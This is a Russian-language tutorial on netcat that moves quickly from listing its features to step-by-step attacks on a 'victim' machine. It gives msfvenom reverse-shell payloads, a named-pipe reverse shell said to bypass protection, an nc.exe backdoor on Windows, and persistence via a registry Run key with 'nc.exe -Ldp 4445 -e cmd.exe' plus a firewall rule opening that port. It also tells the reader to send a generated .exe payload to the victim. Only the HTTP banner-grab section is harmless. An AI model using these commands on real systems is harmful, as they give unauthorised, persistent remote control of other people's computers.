Введение в NetCat
Netcat, так-же используемый как “nc” – это сетевая утилита, которая использует TCP и UDP соединения для чтения и записи в сети. Он может быть использован как злоумышленниками, так и аудиторами безопасности. Учитывая сценарий атаки, этот кросс-функциональный инструмент может управляться скриптами, что делает его достаточно надежным, а также поможет нам отладить и исследовать сеть.
Netcat может делать все, будь то сканирование портов, захват баннеров, передача файла или даже создание обратного соединения.
Давайте рассмотрим основные функции netcat:
Он действует как простой клиент TCP/UDP/SCTP/SSL для взаимодействия с веб-серверами, серверами telnet, почтовыми серверами и другими сетевыми службами TCP/IP.
Он перенаправляет трафик TCP/UDP/SCTP на другие порты или хосты, действуя как SOCKS или HTTP прокси.
Netcat может даже подключаться к адресатам через цепочку анонимных или аутентифицированных прокси-серверов
Шифрует связь с помощью SSL и передает ее по IPv4 или IPv6.
Он действует как посредник соединений, позволяя двум (или более) клиентам подключаться через третий (посреднический) сервер. Итак, до сих пор вы, возможно, знали обо всех возможностях Netcat, которые делают его уникальным и просто. Давайте попробуем копнуть глубже и выяснить, что еще мы можем сделать с помощью этого замечательного инструмента.
Linux Reverse Shell
Как обсуждалось ранее, netcat может выполнять все что угодно, поэтому теперь мы попробуем использовать целевую машину с помощью msfvenom для создания полезной нагрузки и настроим прослушиватель netcat для захвата сеанса.
Давайте попробуем создать полезную нагрузку, используя следующую команду:
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.123.123 lport=1234 R
Параметр «R» используется для создания необработанной полезной нагрузки, которая будет отображаться на нашем экране.
На изображении выше вы можете видеть, что наша полезная нагрузка готова, теперь пришло время запустить ее на сервере нашей жертвы.
Откройте машину Ubuntu и введите эту полезную нагрузку в терминал. Прежде чем запускать его, вернитесь к машине c Kali Linux и настройте прослушиватель netcat, используя тот же номер порта, который вы использовали при создании полезной нагрузки.
Но в случае с высоким уровнем безопасности мы не сможем захватить сеанс, используя этот метод, но есть и другой способ получить reverse shell. Перед этим настройте прослушиватель netcat на порт 443.
И после запуска nc, просто выполните следующие команды на атакуемой машине:
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 192.168.1.109 443 1>/tmp/backpipe
Это поможет вам обойти защиту и подключится к сеансу netcat.
Grabbing the HTTP Banner
Заголовки HTTP теперь не могут быть легко получены, так как они содержат информацию о сервере. Но мы можем использовать netcat для сбора информации о любом веб-сервере.
Просто запустите следующую команду, чтобы манипулировать целевым сервером и проверить, что мы захватили.
printf "GET / HTTP/1.0\r\n\r\n" | nc 192.168.123.123 80
На изображении вы можете видеть, что баннер HTTP получен, и нам представлен сервер nginx.
Windоws Reverse Connection
Теперь сгенерируем бэкдор на Windоws машине, который позволит нам войти в любое время. Давайте сначала настроим прослушиватель на нашей машине kali:nc –lvp 1234
Затем в командной строке Windows жертвы выполните следующую команду, чтобы создать бэкдор.nc.exe 192.168.123.123 1234 -e Backd.exe
После запуска Backd.exe мы получим reverse shell, а также будем получать бэк-коннект даже после разрыва соединения между машинами, при условии, что ip адрес атакуемой машины останется тот-же, и Backd.exe будет запущен.
Windows 10 Persistence
Итак, давайте попробуем создать постоянный бэкдор, используя netcat и Metasploit framework на хосте, который мы скомпрометировали. На изображении ниже вы можете видеть, что я захватил сеанс Meterpreter на машине с Windows 10. Теперь загрузите файл netcat.exe в system32 на компьютере жертвы с помощью следующей команды:upload /usr/share/windows-binaries/nc.exe C:\windows\system32
Теперь настройте netcat для прослушивания любого случайного порта, скажем, 4445, откройте порт при запуске и установите соединение. Используйте следующую команду:reg setval -k HKLM\software\microsoft\windows\currentversion\run - v netcat -d 'C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe'
При успешном подключении к netcat мы получим reverse shell машины жертвы.
Теперь пришло время добавить новое правило в брандмауэр с именем «netcat», в котором входящее соединение будет разрешать порт 4445 с помощью интерактивного cmd, запускающей команду netsh.
Введите следующую команду:netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445
Теперь проверим режим работы и состояние порта, следующей командой:netsh firewall show portopening
Теперь, когда жертва снова перезагрузит систему, мы получим оболочку netcat. Выполните следующую команду, чтобы подключить наш бэкдор netcat через порт 4445:nc -nv 192.168.1.105 4445
Мы успешно установили постоянный бэкдор, теперь всякий раз, когда жертва загружается, у нас всегда будет его сессия.
Msfvenom Payload с Netcat
Итак, давайте узнаем, как мы можем подключиться к жертве через наш Netcat shell, используя полезную нагрузку msfvenom. Запустите терминал и выполните следующую команду, чтобы сгенерировать полезную нагрузку .exe.msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.109 lport=3333 –f exe > shell.exe
Теперь включите Netcat через порт 3333:nc -lvp 3333
Поделитесь этой сгенерированной полезной нагрузкой с жертвой, и как только он откроет ее, вы получите обратное соединение.